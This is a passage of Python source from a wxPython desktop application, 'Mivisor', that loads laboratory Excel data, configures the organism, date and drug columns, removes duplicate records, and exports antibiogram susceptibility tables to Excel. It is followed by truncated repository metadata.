main_sizer.SetSizeHints(self)\n        self.SetSizer(main_sizer)\n        main_sizer.Fit(self)\n\n    def on_checked(self, event):\n        item = event.GetInt()\n        if not self.chlbox.IsChecked(item):\n            idx = self.indexes.index(item)\n            self.index_items_list.DeleteItem(idx)\n            self.indexes.remove(item)\n        else:\n            self.indexes.append(item)\n            self.index_items_list.Append([len(self.indexes), self.choices[item]])\n\n\nclass NewColumnDialog(wx.Dialog):\n    def __init__(self, parent, data, title='Edit values and save to a new column'):\n        super().__init__(parent, title=title, style=wx.DEFAULT_DIALOG_STYLE | wx.RESIZE_BORDER)\n        main_sizer = wx.BoxSizer(wx.VERTICAL)\n        colname_label = wx.StaticText(self, label='New column name')\n        self.colname_ctrl = wx.TextCtrl(self)\n        btn_sizer = wx.StdDialogButtonSizer()\n        ok_btn = wx.Button(self, id=wx.ID_OK, label='Create')\n        ok_btn.SetDefault()\n        cancel_btn = wx.Button(self, id=wx.ID_CANCEL, label='Cancel')\n        btn_sizer.AddButton(ok_btn)\n        btn_sizer.AddButton(cancel_btn)\n        btn_sizer.Realize()\n        self.olvData = ObjectListView(self, wx.ID_ANY, style=wx.LC_REPORT | wx.SUNKEN_BORDER)\n        self.olvData.oddRowsBackColor = wx.Colour(230, 230, 230, 100)\n        self.olvData.evenRowsBackColor = wx.WHITE\n        self.olvData.cellEditMode = ObjectListView.CELLEDIT_DOUBLECLICK\n        self.data = []\n        for dt in data:\n            self.data.append({'old': dt, 'new': dt})\n        self.olvData.SetColumns([\n            ColumnDefn(title='Old Value', align='left', minimumWidth=50, valueGetter='old'),\n            ColumnDefn(title='New Value', align='left', minimumWidth=50, valueGetter='new'),\n        ])\n        self.olvData.SetObjects(self.data)\n        main_sizer.Add(self.olvData, 1, wx.ALL | wx.EXPAND, 5)\n        main_sizer.Add(colname_label, 0, wx.ALL, 5)\n        main_sizer.Add(self.colname_ctrl, 0, wx.ALL, 5)\n        main_sizer.Add(btn_sizer, 0, wx.ALL | wx.ALIGN_CENTER, 5)\n        self.SetAutoLayout(True)\n        self.SetSizer(main_sizer)\n        main_sizer.Fit(self)\n\n    def replace(self):\n        return self.data\n\n\nclass DrugListCtrl(wx.ListCtrl):\n    def __init__(self, parent, cols):\n        super(DrugListCtrl, self).__init__(parent, style=wx.LC_REPORT, size=(300, 200))\n        self.EnableCheckBoxes(True)\n        self.Bind(wx.EVT_LIST_ITEM_CHECKED, self.on_check)\n        self.Bind(wx.EVT_LIST_ITEM_UNCHECKED, self.on_uncheck)\n        self.cols = cols\n        self.drugs = []\n        self.AppendColumn('Name')\n        for col in cols:\n            self.Append([col])\n\n        for d in config.Read('Drugs').split(';'):\n            if d in self.cols:\n                idx = self.cols.index(d)\n                self.CheckItem(idx)\n\n    def on_check(self, event):\n        item = event.GetItem()\n        idx = item.GetId()\n        col = self.cols[idx]\n        if self.IsItemChecked(idx):\n            self.drugs.append(col)\n\n    def on_uncheck(self, event):\n        item = event.GetItem()\n        idx = item.GetId()\n        col = self.cols[idx]\n        if col in self.drugs:\n            self.drugs.remove(col)\n\n\nclass ConfigDialog(wx.Dialog):\n    def __init__(self, parent, columns, title='Configuration'):\n        super().__init__(parent, title=title, style=wx.DEFAULT_DIALOG_STYLE | wx.RESIZE_BORDER)\n        main_sizer = wx.BoxSizer(wx.VERTICAL)\n        form_sizer = wx.FlexGridSizer(5, 2, 15, 20)\n        form_sizer.Add(wx.StaticText(self, id=wx.ID_ANY, label='Identifier'), 0)\n        self.identifier_combo_ctrl = wx.Choice(self, choices=columns)\n        _col = config.Read('IdentifierCol', '')\n        if _col and _col in columns:\n            self.identifier_combo_ctrl.SetSelection(columns.index(_col))\n        form_sizer.Add(self.identifier_combo_ctrl, 0)\n        form_sizer.Add(wx.StaticText(self, id=wx.ID_ANY, label='Date'))\n        self.date_combo_ctrl = wx.Choice(self, choices=columns)\n        _col = config.Read('DateCol', '')\n        if _col and _col in columns:\n            self.date_combo_ctrl.SetSelection(columns.index(_col))\n        form_sizer.Add(self.date_combo_ctrl, 0)\n        form_sizer.Add(wx.StaticText(self, id=wx.ID_ANY, label='Organism Code'))\n        self.organism_combo_ctrl = wx.Choice(self, choices=columns)\n        _col = config.Read('OrganismCol', '')\n        if _col and _col in columns:\n            self.organism_combo_ctrl.SetSelection(columns.index(_col))\n        form_sizer.Add(self.organism_combo_ctrl, 0)\n        form_sizer.Add(wx.StaticText(self, id=wx.ID_ANY, label='Specimens'))\n        self.specimens_combo_ctrl = wx.Choice(self, choices=columns)\n        _col = config.Read('SpecimensCol', '')\n        if _col and _col in columns:\n            self.specimens_combo_ctrl.SetSelection(columns.index(_col))\n        form_sizer.Add(self.specimens_combo_ctrl, 0)\n        self.drug_listctrl = DrugListCtrl(self, columns)\n        form_sizer.Add(wx.StaticText(self, id=wx.ID_ANY, label='Drugs'))\n        form_sizer.Add(self.drug_listctrl, 1, wx.EXPAND)\n\n        btn_sizer = wx.StdDialogButtonSizer()\n        ok_btn = wx.Button(self, id=wx.ID_OK, label='Ok')\n        ok_btn.SetDefault()\n        cancel_btn = wx.Button(self, id=wx.ID_CANCEL, label='Cancel')\n        btn_sizer.AddButton(ok_btn)\n        btn_sizer.AddButton(cancel_btn)\n        btn_sizer.Realize()\n\n        main_sizer.Add(form_sizer, 0, wx.ALL | wx.EXPAND, 10)\n        main_sizer.Add(btn_sizer, 0, wx.ALL | wx.ALIGN_CENTER, 10)\n        main_sizer.SetSizeHints(self)\n        self.SetSizer(main_sizer)\n        main_sizer.Fit(self)\n\n\nclass DeduplicateIndexDialog(wx.Dialog):\n    def __init__(self, parent, columns, title='Deduplication Keys'):\n        super().__init__(parent, title=title, style=wx.DEFAULT_DIALOG_STYLE | wx.RESIZE_BORDER)\n        self.keys = []\n        main_sizer = wx.BoxSizer(wx.VERTICAL)\n        instruction = wx.StaticText(self, label='Select columns you want to use for deduplication.')\n        self.isSortDate = wx.CheckBox(self, label='Sort by the date column')\n        self.isSortDate.SetValue(True)\n        self.chlbox = wx.CheckListBox(self, choices=columns)\n        self.chlbox.Bind(wx.EVT_CHECKLISTBOX, self.on_checked)\n        button_sizer = self.CreateStdDialogButtonSizer(flags=wx.OK | wx.CANCEL)\n        main_sizer.Add(instruction, 0, wx.ALL, 5)\n        main_sizer.Add(self.chlbox, 1, wx.ALL | wx.EXPAND, 5)\n        main_sizer.Add(self.isSortDate, 0, wx.ALL, 5)\n        main_sizer.Add(button_sizer, 0, wx.ALL, 5)\n        self.SetSizer(main_sizer)\n        self.Fit()\n\n    def on_checked(self, event):\n        item = event.GetInt()\n        if not self.chlbox.IsChecked(item):\n            idx = self.keys.index(item)\n            self.keys.remove(item)\n        else:\n            self.keys.append(item)\n\n\nclass MainFrame(wx.Frame):\n    def __init__(self):\n        wx.Frame.__init__(self, parent=None, id=wx.ID_ANY, title=\"Mivisor Version 2021.1\", size=(800, 600))\n        panel = wx.Panel(self)\n        # TODO: figure out how to update the statusbar's text from the frame's children\n        self.statusbar = self.CreateStatusBar(2)\n        self.statusbar.SetStatusText('The app is ready to roll.')\n        self.statusbar.SetStatusText('This is for the analytics information', 1)\n        menuBar = wx.MenuBar()\n        fileMenu = wx.Menu()\n        registryMenu = wx.Menu()\n        menuBar.Append(fileMenu, '&File')\n        menuBar.Append(registryMenu, 'Re&gistry')\n        loadItem = fileMenu.Append(wx.ID_ANY, 'Load Data', 'Load Data')\n        exportItem = fileMenu.Append(wx.ID_ANY, 'Export Data', 'Export Data')\n        fileMenu.AppendSeparator()\n        fileItem = fileMenu.Append(wx.ID_EXIT, '&Quit', 'Quit Application')\n        drugItem = registryMenu.Append(wx.ID_ANY, 'Drugs', 'Drug Registry')\n        self.SetMenuBar(menuBar)\n        self.Bind(wx.EVT_MENU, lambda x: self.Close(), fileItem)\n        self.Bind(wx.EVT_MENU, self.open_drug_dialog, drugItem)\n        self.Bind(wx.EVT_MENU, self.export_data, exportItem)\n        self.Bind(wx.EVT_MENU, self.open_load_data_dialog, loadItem)\n\n        self.Bind(wx.EVT_CLOSE, self.OnClose)\n        self.Center()\n        self.Maximize(True)\n\n        self.load_drug_data()\n\n        self.df = pd.DataFrame()\n        self.data = []\n        self.colnames = []\n        self.organism_col = config.Read('OrganismCol', '')\n        self.identifier_col = config.Read('IdentifierCol', '')\n        self.date_col = config.Read('DateCol', '')\n        self.specimens_col = config.Read('SpecimensCol', '')\n        self.drugs_col = config.Read('Drugs', '').split(';') or []\n        main_sizer = wx.BoxSizer(wx.VERTICAL)\n        btn_sizer = wx.BoxSizer(wx.HORIZONTAL)\n        load_button = wx.Button(panel, label=\"Load\")\n        self.copy_button = wx.Button(panel, label=\"Copy Column\")\n        self.config_btn = wx.Button(panel, label='Config')\n        self.generate_btn = wx.Button(panel, label='Generate')\n        load_button.Bind(wx.EVT_BUTTON, self.open_load_data_dialog)\n        self.copy_button.Bind(wx.EVT_BUTTON, self.copy_column)\n        self.config_btn.Bind(wx.EVT_BUTTON, self.configure)\n        self.generate_btn.Bind(wx.EVT_BUTTON, self.generate)\n\n        self.dataOlv = FastObjectListView(panel, wx.ID_ANY,\n                                          style=wx.LC_REPORT | wx.SUNKEN_BORDER)\n        self.dataOlv.oddRowsBackColor = wx.Colour(230, 230, 230, 100)\n        self.dataOlv.evenRowsBackColor = wx.WHITE\n        self.dataOlv.cellEditMode = ObjectListView.CELLEDIT_DOUBLECLICK\n        self.dataOlv.SetEmptyListMsg('Welcome to Mivisor Version 2021.1')\n        self.dataOlv.SetObjects([])\n        main_sizer.Add(self.dataOlv, 1, wx.ALL | wx.EXPAND, 10)\n        btn_sizer.Add(load_button, 0, wx.ALL, 5)\n        btn_sizer.Add(self.copy_button, 0, wx.ALL, 5)\n        btn_sizer.Add(self.config_btn, 0, wx.ALL, 5)\n        btn_sizer.Add(self.generate_btn, 0, wx.ALL, 5)\n        main_sizer.Add(btn_sizer, 0, wx.ALL, 5)\n        panel.SetSizer(main_sizer)\n        panel.Fit()\n\n        self.disable_buttons()\n\n        pub.subscribe(self.disable_buttons, DISABLE_BUTTONS)\n        pub.subscribe(self.enable_buttons, ENABLE_BUTTONS)\n        pub.subscribe(self.write_output, WRITE_TO_EXCEL_FILE_SIGNAL)\n\n    def OnClose(self, event):\n        if event.CanVeto():\n            if wx.MessageBox('You want to quit the program?', 'Please confirm', style=wx.YES_NO) != wx.YES:\n                event.Veto()\n                return\n        event.Skip()\n\n    def disable_buttons(self):\n        self.generate_btn.Disable()\n        self.copy_button.Disable()\n        self.config_btn.Disable()\n\n    def enable_buttons(self):\n        self.generate_btn.Enable()\n        self.copy_button.Enable()\n        self.config_btn.Enable()\n\n    def export_data(self, event):\n        df = pd.DataFrame([d.to_dict(self.colnames) for d in self.data])\n        if df.empty:\n            with wx.MessageDialog(self, 'No data to export. Please load data first.',\n                                  'Export Data', style=wx.OK) as dlg:\n                dlg.ShowModal()\n                return\n        with wx.FileDialog(self, \"Please select the output file for data\",\n                           wildcard=\"Excel file (*xlsx)|*xlsx\",\n                           style=wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT) as file_dialog:\n            if file_dialog.ShowModal() == wx.ID_CANCEL:\n                return\n            file_path = file_dialog.GetPath()\n            if os.path.splitext(file_path)[1] != '.xlsx':\n                file_path = file_path + '.xlsx'\n            try:\n                df.to_excel(file_path, index=False)\n            except:\n                with wx.MessageDialog(self, 'Export failed.', 'Export Data', style=wx.OK) as dlg:\n                    dlg.ShowModal()\n            else:\n                with wx.MessageDialog(self, 'Export completed.', 'Export Data', style=wx.OK) as dlg:\n                    dlg.ShowModal()\n\n    def load_drug_data(self):\n        try:\n            drug_df = pd.read_json(os.path.join('appdata', 'drugs.json'))\n        except:\n            pass\n        if drug_df.empty:\n            drug_df = pd.DataFrame(columns=['drug', 'abbreviation', 'group'])\n\n        drug_list = []\n        drug_df = drug_df.sort_values(['group'])\n        for idx, row in drug_df.iterrows():\n            if row['abbreviation']:\n                abbrs = [a.strip().upper() for a in row['abbreviation'].split(',')]\n            else:\n                abbrs = []\n            for ab in abbrs:\n                drug_list.append({'drug': row['drug'], 'abbr': ab, 'group': row['group']})\n        self.drug_data = pd.DataFrame(drug_list)\n\n    def set_data_olv(self, df):\n        self.df = df\n        self.df = self.df.dropna(how='all').fillna('')\n        self.setColumns()\n        self.data = [DataRow(idx, row) for idx, row in self.df.iterrows()]\n        self.dataOlv.SetObjects(self.data)\n        pub.sendMessage(CLOSE_PROGRESS_BAR_SIGNAL)\n        pub.sendMessage(ENABLE_BUTTONS)\n\n    def read_data_from_file(self):\n        with wx.FileDialog(self, \"Load data from file\",\n                           style=wx.FD_OPEN | wx.FD_FILE_MUST_EXIST,\n                           wildcard=\"Excel file (*.xlsx)|*.xlsx\") as file_dialog:\n            if file_dialog.ShowModal() == wx.ID_CANCEL:\n                return\n            filepath = file_dialog.GetPath()\n            pub.subscribe(self.set_data_olv, 'load_excel_data_finished')\n            ReadExcelThread(filepath, 'load_excel_data_finished')\n            progress_bar = PulseProgressBarDialog('Loading Data', 'Reading data from {}'.format(filepath))\n\n    def open_load_data_dialog(self, event):\n        pub.sendMessage(DISABLE_BUTTONS)\n        if not self.df.empty:\n            with wx.MessageDialog(self, \"Load new dataset?\", \"Load data\", style=wx.YES_NO) as msg_dialog:\n                if msg_dialog.ShowModal() == wx.ID_YES:\n                    self.read_data_from_file()\n        else:\n            self.read_data_from_file()\n\n    def open_drug_dialog(self, event):\n        with DrugRegFormDialog() as drug_dlg:\n            drug_dlg.ShowModal()\n\n    def setColumns(self):\n        columns = []\n        for c in self.df.columns:\n            self.colnames.append(c)\n            col_type = str(self.df.dtypes.get(c))\n            if col_type.startswith('int') or col_type.startswith('float'):\n                formatter = '%.1f'\n            elif col_type.startswith('datetime'):\n                formatter = '%Y-%m-%d'\n            else:\n                formatter = '%s'\n            columns.append(\n                ColumnDefn(title=c.title(), align='left', stringConverter=formatter, valueGetter=c, minimumWidth=50))\n        self.dataOlv.SetColumns(columns)\n\n    def copy_column(self, event):\n        with wx.SingleChoiceDialog(self, 'Select Source Column', 'Source Column', choices=self.colnames) as dlg:\n            if dlg.ShowModal() == wx.ID_OK:\n                idx = dlg.GetSelection()\n                colname = self.colnames[idx]\n                data = set([getattr(row, colname) for row in self.data])\n                with NewColumnDialog(self, data) as dlg:\n                    if dlg.ShowModal() == wx.ID_OK:\n                        new_data = dlg.replace()\n                        lookup_dict = {}\n                        new_colname = dlg.colname_ctrl.GetValue()\n                        for item in new_data:\n                            lookup_dict[item['old']] = item['new']\n                        for d in self.data:\n                            old_value = getattr(d, colname)\n                            setattr(d, new_colname, lookup_dict.get(old_value))\n                        self.dataOlv.AddColumnDefn(ColumnDefn(\n                            title=new_colname,\n                            align='left',\n                            valueGetter=new_colname,\n                            minimumWidth=50,\n                        ))\n                        self.colnames.append(new_colname)\n                        self.dataOlv.RepopulateList()\n\n    def configure(self, event):\n        with ConfigDialog(self, self.colnames) as dlg:\n            if dlg.ShowModal() == wx.ID_OK:\n                if dlg.identifier_combo_ctrl.GetSelection() != -1:\n                    self.identifier_col = self.colnames[dlg.identifier_combo_ctrl.GetSelection()]\n                if dlg.date_combo_ctrl.GetSelection() != -1:\n                    self.date_col = self.colnames[dlg.date_combo_ctrl.GetSelection()]\n                if dlg.organism_combo_ctrl.GetSelection() != -1:\n                    self.organism_col = self.colnames[dlg.organism_combo_ctrl.GetSelection()]\n                if dlg.specimens_combo_ctrl.GetSelection() != -1:\n                    self.specimens_col = self.colnames[dlg.specimens_combo_ctrl.GetSelection()]\n                self.drugs_col = dlg.drug_listctrl.drugs\n                config.Write('IdentifierCol', self.identifier_col)\n                config.Write('DateCol', self.date_col)\n                config.Write('OrganismCol', self.organism_col)\n                config.Write('SpecimensCol', self.specimens_col)\n                config.Write('Drugs', ';'.join(self.drugs_col))\n\n    def melt(self, source_data=None):\n        if source_data is None:\n            source_data = self.data\n        keys = []\n        for c in self.colnames:\n            if c not in self.drugs_col:\n                keys.append(c)\n        data = [row.to_list(self.colnames) for row in source_data]\n        ids = [row.id for row in data]\n        df = pd.DataFrame(data=data, index=ids, columns=self.colnames)\n        return df.melt(id_vars=keys)\n\n    def generate(self, event):\n        if not all([self.date_col, self.identifier_col, self.organism_col]):\n            self.configure()\n        df = pd.DataFrame([d.to_dict(self.colnames) for d in self.data])\n        if df.empty:\n            with wx.MessageDialog(self, 'No data provided. Please load data from an Excel file',\n                                  'Error', style=wx.OK) as dlg:\n                if dlg.ShowModal() == wx.ID_OK:\n                    return\n        num_rows = len(df)\n        with DeduplicateIndexDialog(self, [c for c in self.colnames\n                                           if c not in self.drugs_col]) as dlg:\n            if dlg.ShowModal() == wx.ID_OK:\n                data = df\n                if dlg.isSortDate.GetValue():\n                    data = data.sort_values(config.Read('DateCol'), ascending=True)\n                if dlg.keys:\n                    data = data.drop_duplicates(subset=[self.colnames[k] for k in dlg.keys],\n                                                keep='first')\n                if num_rows == len(data):\n                    message = 'No duplicates found.'\n                else:\n                    message = f'{ num_rows - len(data) } duplicates were removed.'\n                with wx.MessageDialog(self, message, 'Deduplication Finished', style=wx.OK) as dlg:\n                    dlg.ShowModal()\n            else:\n                return\n        keys = []\n        for c in self.colnames:\n            if c not in self.drugs_col:\n                keys.append(c)\n        columns = [c for c in self.colnames if c not in self.drugs_col] + ['GENUS', 'SPECIES', 'GRAM']\n        if self.identifier_col in columns:\n            columns.remove(self.identifier_col)\n        if self.date_col in columns:\n            columns.remove(self.date_col)\n\n        with BiogramIndexDialog(self, columns,\n                                start=data[self.date_col].min(),\n                                end=data[self.date_col].max()) as dlg:\n            if dlg.ShowModal() == wx.ID_OK and dlg.indexes:\n                # filter data within the date range\n                data = data[(data[self.date_col].dt.date >= dlg.startDate.GetValue())\n                            & (data[self.date_col].dt.date <= dlg.endDate.GetValue())]\n                BiogramGeneratorThread(data,\n                                       self.date_col,\n                                       self.identifier_col,\n                                       self.organism_col,\n                                       dlg.indexes,\n                                       keys,\n                                       dlg.includeCount.GetValue(),\n                                       dlg.includePercent.GetValue(),\n                                       dlg.includeNarstStyle.GetValue(),\n                                       columns,\n                                       self.drug_data)\n                progress_bar = PulseProgressBarDialog('Generating Antibiogram', 'Calculating...')\n            else:\n                return\n\n    def write_output(self, sens, resists, biogram_sens, biogram_resists, biogram_narst_s,\n                     identifier_col):\n        with wx.FileDialog(self, \"Please select the output file for your antibiogram\",\n                           wildcard=\"Excel file (*xlsx)|*xlsx\",\n                           style=wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT) as file_dialog:\n            if file_dialog.ShowModal() == wx.ID_CANCEL:\n                return\n            file_path = file_dialog.GetPath()\n            if os.path.splitext(file_path)[1] != '.xlsx':\n                file_path = file_path + '.xlsx'\n        try:\n            with pd.ExcelWriter(file_path, engine='xlsxwriter') as writer:\n                if sens is not None:\n                    sens[identifier_col].to_excel(writer, sheet_name='count_S')\n                if resists is not None:\n                    resists[identifier_col].to_excel(writer, sheet_name='count_R')\n                if biogram_sens is not None:\n                    biogram_sens[identifier_col].to_excel(writer, sheet_name='percent_S')\n                if biogram_resists is not None:\n                    biogram_resists[identifier_col].to_excel(writer, sheet_name='percent_R')\n                if biogram_narst_s is not None:\n                    biogram_narst_s[identifier_col].to_excel(writer, sheet_name='narst_s')\n        except:\n            with wx.MessageDialog(self, 'Failed', 'Antibiogram Generator', style=wx.OK) as dlg:\n                dlg.ShowModal()\n        else:\n            with wx.MessageDialog(self, 'Output Saved.', 'Antibiogram Generator', style=wx.OK) as dlg:\n                dlg.ShowModal()\n\n\n\nclass GenApp(wx.App):\n    def __init__(self, redirect=False, filename=None):\n        wx.App.__init__(self, redirect, filename)\n\n    def OnInit(self):\n        # create frame here\n        global config\n        config = wx.Config('Mivisor')\n        frame = MainFrame()\n        self.SetTopWindow(frame)\n        frame.Show()\n        return True\n", "repo_name": "likit/mivisor", "sub_path": "mivisor/components/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 29526, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "wx.ProgressDialog", "line_number": 21, "usage_type": "attribute"}, {"api_name": "wx.PD_AUTO_HIDE", "line_number": 24, "usage_type": "attribute"}, {"api_name": "wx.PD_APP_MODAL", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pubsub.pub.subscribe", "line_number": 25, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 25, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 33, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 41, "usage_type": "call"}, {"api_name": "wx.CallAfter", "line_number": 43, "usage_type": "call"}, {"api_name": "pubsub.pub.sendMessage", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pubsub.pub", "line_number": 43, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 46, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pandas.merge", "line_number": 68, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 69, "usage_type": "call"}, {"api_name": "pandas.isna", "line_number": 81, "usage_type": "call"}, {"api_name": "wx.CallAfter", "line_number": 84, "usage_type": "call"}, {"api_name": "pubsub.pub.sendMessage", "line_number": 84, "usage_type": "attribute"}, {"api_name": "pubsub.pub", "line_number": 84, "usage_type": "name"}, {"api_name": "wx.CallAfter", "line_number": 85, "usage_type": "call"}, {"api_name": "pubsub.pub.sendMessage", "line_number": 85, "usage_type": "attribute"}, {"api_name": "pubsub.pub", "line_number": 85, "usage_type": "name"}, {"api_name": "wx.Dialog", "line_number": 108, "usage_type": "attribute"}, {"api_name": "wx.DEFAULT_DIALOG_STYLE", "line_number": 110, "usage_type": "attribute"}, {"api_name": "wx.RESIZE_BORDER", "line_number": 110, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 113, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 113, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 114, "usage_type": "call"}, {"api_name": "wx.CheckListBox", "line_number": 115, "usage_type": "call"}, {"api_name": "wx.EVT_CHECKLISTBOX", "line_number": 116, "usage_type": "attribute"}, {"api_name": "wx.ListCtrl", "line_number": 117, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 117, "usage_type": "attribute"}, {"api_name": "wx.LC_REPORT", "line_number": 117, "usage_type": "attribute"}, {"api_name": "wx.StaticBoxSizer", "line_number": 120, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 120, "usage_type": "attribute"}, {"api_name": "wx.adv.DatePickerCtrl", "line_number": 121, "usage_type": "call"}, {"api_name": "wx.adv", "line_number": 121, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 122, "usage_type": "call"}, {"api_name": "wx.adv.DatePickerCtrl", "line_number": 123, "usage_type": "call"}, {"api_name": "wx.adv", "line_number": 123, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 124, "usage_type": "call"}, {"api_name": "wx.ALL", "line_number": 125, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 126, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 127, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 128, "usage_type": "attribute"}, {"api_name": "wx.StaticBoxSizer", "line_number": 129, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 129, "usage_type": "attribute"}, {"api_name": "wx.CheckBox", "line_number": 130, "usage_type": "call"}, {"api_name": "wx.CheckBox", "line_number": 131, "usage_type": "call"}, {"api_name": "wx.CheckBox", "line_number": 132, "usage_type": "call"}, {"api_name": "wx.ALL", "line_number": 136, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 137, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 138, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 139, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 140, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 140, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 141, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 141, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 142, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 142, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 143, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 143, "usage_type": "attribute"}, {"api_name": "wx.StdDialogButtonSizer", "line_number": 144, "usage_type": "call"}, {"api_name": "wx.Button", "line_number": 145, "usage_type": "call"}, {"api_name": "wx.ID_OK", "line_number": 145, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 147, "usage_type": "call"}, {"api_name": "wx.ID_CANCEL", "line_number": 147, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 151, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 151, "usage_type": "attribute"}, {"api_name": "wx.Dialog", "line_number": 167, "usage_type": "attribute"}, {"api_name": "wx.DEFAULT_DIALOG_STYLE", "line_number": 169, "usage_type": "attribute"}, {"api_name": "wx.RESIZE_BORDER", "line_number": 169, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 170, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 170, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 171, "usage_type": "call"}, {"api_name": "wx.TextCtrl", "line_number": 172, "usage_type": "call"}, {"api_name": "wx.StdDialogButtonSizer", "line_number": 173, "usage_type": "call"}, {"api_name": "wx.Button", "line_number": 174, "usage_type": "call"}, {"api_name": "wx.ID_OK", "line_number": 174, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 176, "usage_type": "call"}, {"api_name": "wx.ID_CANCEL", "line_number": 176, "usage_type": "attribute"}, {"api_name": "ObjectListView.ObjectListView", "line_number": 180, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 180, "usage_type": "attribute"}, {"api_name": "wx.LC_REPORT", "line_number": 180, "usage_type": "attribute"}, {"api_name": "wx.SUNKEN_BORDER", "line_number": 180, "usage_type": "attribute"}, {"api_name": "wx.Colour", "line_number": 181, "usage_type": "call"}, {"api_name": "wx.WHITE", "line_number": 182, "usage_type": "attribute"}, {"api_name": "ObjectListView.ObjectListView.CELLEDIT_DOUBLECLICK", "line_number": 183, "usage_type": "attribute"}, {"api_name": "ObjectListView.ObjectListView", "line_number": 183, "usage_type": "name"}, {"api_name": "ObjectListView.ColumnDefn", "line_number": 188, "usage_type": "call"}, {"api_name": "ObjectListView.ColumnDefn", "line_number": 189, "usage_type": "call"}, {"api_name": "wx.ALL", "line_number": 192, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 192, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 193, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 194, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 195, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 195, "usage_type": "attribute"}, {"api_name": "wx.ListCtrl", "line_number": 204, "usage_type": "attribute"}, {"api_name": "wx.LC_REPORT", "line_number": 206, "usage_type": "attribute"}, {"api_name": "wx.EVT_LIST_ITEM_CHECKED", "line_number": 208, "usage_type": "attribute"}, {"api_name": "wx.EVT_LIST_ITEM_UNCHECKED", "line_number": 209, "usage_type": "attribute"}, {"api_name": "wx.Dialog", "line_number": 236, "usage_type": "attribute"}, {"api_name": "wx.DEFAULT_DIALOG_STYLE", "line_number": 238, "usage_type": "attribute"}, {"api_name": "wx.RESIZE_BORDER", "line_number": 238, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 239, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 239, "usage_type": "attribute"}, {"api_name": "wx.FlexGridSizer", "line_number": 240, "usage_type": "call"}, {"api_name": "wx.StaticText", "line_number": 241, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 241, "usage_type": "attribute"}, {"api_name": "wx.Choice", "line_number": 242, "usage_type": "call"}, {"api_name": "wx.StaticText", "line_number": 247, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 247, "usage_type": "attribute"}, {"api_name": "wx.Choice", "line_number": 248, "usage_type": "call"}, {"api_name": "wx.StaticText", "line_number": 253, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 253, "usage_type": "attribute"}, {"api_name": "wx.Choice", "line_number": 254, "usage_type": "call"}, {"api_name": "wx.StaticText", "line_number": 259, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 259, "usage_type": "attribute"}, {"api_name": "wx.Choice", "line_number": 260, "usage_type": "call"}, {"api_name": "wx.StaticText", "line_number": 266, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 266, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 267, "usage_type": "attribute"}, {"api_name": "wx.StdDialogButtonSizer", "line_number": 269, "usage_type": "call"}, {"api_name": "wx.Button", "line_number": 270, "usage_type": "call"}, {"api_name": "wx.ID_OK", "line_number": 270, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 272, "usage_type": "call"}, {"api_name": "wx.ID_CANCEL", "line_number": 272, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 277, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 277, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 278, "usage_type": "attribute"}, 